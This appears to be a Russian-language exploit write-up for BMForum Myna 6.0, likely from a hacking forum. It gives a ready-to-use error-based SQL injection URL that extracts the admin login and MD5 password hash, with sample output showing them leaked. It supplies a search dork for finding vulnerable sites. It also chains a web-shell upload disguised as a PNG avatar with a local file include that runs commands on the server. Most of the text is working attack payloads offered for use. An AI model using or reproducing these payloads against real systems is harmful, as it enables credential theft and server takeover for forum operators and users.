Author: http://www.bmforum.com/
Version: Myna 6.0
SQL-инъекция
[Зависимости: mq=off]
File: baidu.php
PHP код:
header("Content-type:application/xml; charset=utf-8");
...
$tagname = $_GET['tagname'];
if ($see_a_tags != 0 && $tagname) {
$query = "SELECT * FROM {$database_up}tags WHERE tagname='$tagname' ORDER BY 'tagid' DESC LIMIT 1";
$result = bmbdb_query($query);
// Tags Row
$tag_row = bmbdb_fetch_array($result);
$th_tags = substr($tag_row['filename'], 1);
// Threads
$th_tags_ex = implode("','", explode(",", $th_tags));
$add_tag_sql = " AND tid in('$th_tags_ex')";
$forumtitle .= "- " . $tagname;
}
$query = "SELECT p.*,u.ugnum,u.postamount,u.point FROM {$database_up}threads p LEFT JOIN {$database_up}userlist u ON u.userid=p.authorid WHERE p.id=p.tid $add_sql) $add_tag_sql ORDER BY `changetime` DESC LIMIT 0,$minv";
Как видим уязвим первый запрос, результаты первого запроса участвуют во втором. Можно крутить и через второй запрос, там есть вывод, но так как вывод ошибок в этом форуме принудительный, проще и быстрее крутить как слепую.
Target:
Код:
http://localhost/bugs/bmp/baidu.php?tagname=2'+or+(select+*+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)r+group+by+concat((select+concat_ws(0x3a,username ,pwd)+from+bmb_userlist+where+userid=1),floor(rand(0)*2)))u)+--+1
В современных браузерах выдаст ошибку XML-содержимого, поэтому открываем исходники и смотрим:
Код:
strong>Time</strong>: 2010-6-19 12:30pm<br />
<strong>Script</strong>: /bugs/bmp/baidu.php<br />
<br />
<strong>SQL</strong>: SELECT * FROM bmb_tags WHERE tagname='2' or (select * from (select count(*) from (select 1 union select 2 union select 3)r group by concat((select concat_ws(0x3a,username,pwd) from bmb_userlist where userid=1),floor(rand(0)*2)))u) -- 1' ORDER BY 'tagid' DESC LIMIT 1<br />
<strong>Description</strong>: Duplicate entry 'admin:21232f297a57a5a743894a0e4a801fc31' for key 'group_key'<br />
<strong>Error NO.</strong>: 1062</p>
Передав скрипту
?tagname=1' узнаем префикс таблиц.
Пароли в простом
md5.
Дорк: "Powered by BMForum Myna 6.0"
Заливка шелла
[Зависимости: права пользователя,rg=on]
Уязвимость состоит из двух частей, загрузка исполняемого кода на сервер, и его инклуд=выполение.
Загрузка кода
File: ua.php
PHP код:
$FILE_URL = $_FILES['attachment']['tmp_name'];
$FILE_NAME = safe_upload_name($_FILES['attachment']['name']);
$FILE_SIZE = $_FILES['attachment']['size'];
$FILE_TYPE = safe_upload_name($_FILES['attachment']['type']);
...
if ($upload && $check) {
$upload_tmpurl = "tmp/" . $timestamp . $currentext;
move_uploaded_file($FILE_URL, $upload_tmpurl);
$size = getimagesize($upload_tmpurl);
if (($size[0] > $maxwidth || $size[1] > $maxheight) && eregi("\.(gif|jpg|jpeg|swf|bmp|png)$", $FILE_NAME)) {
imageshow($upload_tmpurl, $maxwidth);
$size[0] = $auto_width;
$size[1] = $auto_height;
}
if ($size[0] > $maxwidth || $size[1] > $maxheight) {
$check = 0;
$reason = $ua[5];
} else {
$upload_aname = "upload/usravatars/" . $timestamp . "." . $currentext;
copy($upload_tmpurl, $upload_aname);
}
$todelportait = explode('%', $thisavarts);
eval(load_hook('int_ua_upload_process'));
@unlink($upload_tmpurl);
}
Target: Необязательно слать картинку, я просто переименовал wso.php в image.png, и он прошел все проверки, так как нет проверки, на выполнение команды getimagesize, скрипт просто смотрит, не превышают ли ее значения допустимых. а так как во всех своих значениях она вернула false, значение установленные форумом будут больше, и проверку пройдена. То есть, грузим шеленг. Смотрим адрес нашей аватары в профиле, и инклудим ее.
Локальный инклуд
File: /newtem/header/bsd01header.php
PHP код:
global $log_hash, $database_up, $bmfopt, $usertype, $userpoint, $language;
include("lang/$language/hefo.php");
Target:
Загружаем аватарку с нашим кодом.
Код:
http://target/forum/p/newtem/header/bsd01header.php?language=/../../../upload/usravatars/1276946750.png[%00 or /////max///]&c=dir